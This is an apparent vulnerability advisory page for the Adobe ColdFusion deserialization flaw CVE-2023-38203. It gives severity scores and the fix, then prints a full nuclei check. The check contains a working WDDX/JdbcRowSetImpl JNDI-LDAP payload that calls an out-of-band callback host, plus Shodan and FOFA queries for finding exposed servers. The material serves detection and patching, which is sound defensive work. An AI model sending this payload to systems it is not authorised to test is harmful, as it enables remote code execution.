Adobe ColdFusion - Deserialization of Untrusted Data

Exploited in the wild. Listed by CISA on 2024-01-08; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Adobe ColdFusion versions 2018u17 (and earlier), 2021u7 (and earlier) and 2023u1 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade to Adobe ColdFusion version ColdFusion 2018 Update 18, ColdFusion 2021 Update 8, ColdFusion 2023 Update2 or later to mitigate this vulnerability.

How to confirm it

Send: POST /CFIDE/adminapi/base.cfc?method=
Positive when: contains(interactsh_protocol, "dns") and contains(body, "ColdFusion documentation")

Run it with nuclei: nuclei -id CVE-2023-38203 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-38203

info:
  name: Adobe ColdFusion - Deserialization of Untrusted Data
  author: yiran
  severity: critical
  description: |
    Adobe ColdFusion versions 2018u17 (and earlier), 2021u7 (and earlier) and 2023u1 (and earlier) are affected by a Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to Adobe ColdFusion version ColdFusion 2018 Update 18, ColdFusion 2021 Update 8, ColdFusion 2023 Update2 or later to mitigate this vulnerability.
  reference:
    - https://blog.projectdiscovery.io/adobe-coldfusion-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38203
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-38203
    cwe-id: CWE-502
    epss-score: 0.97074
    epss-percentile: 0.99892
    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2023,adobe,rce,coldfusion,deserialization,kev,vkev,vuln
variables:
  callback: "{{interactsh-url}}"
  jndi: "ldap%3a//{{callback}}/zdfzfd"

http:
  - raw:
      - |
        POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        argumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - contains(body, "ColdFusion documentation")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from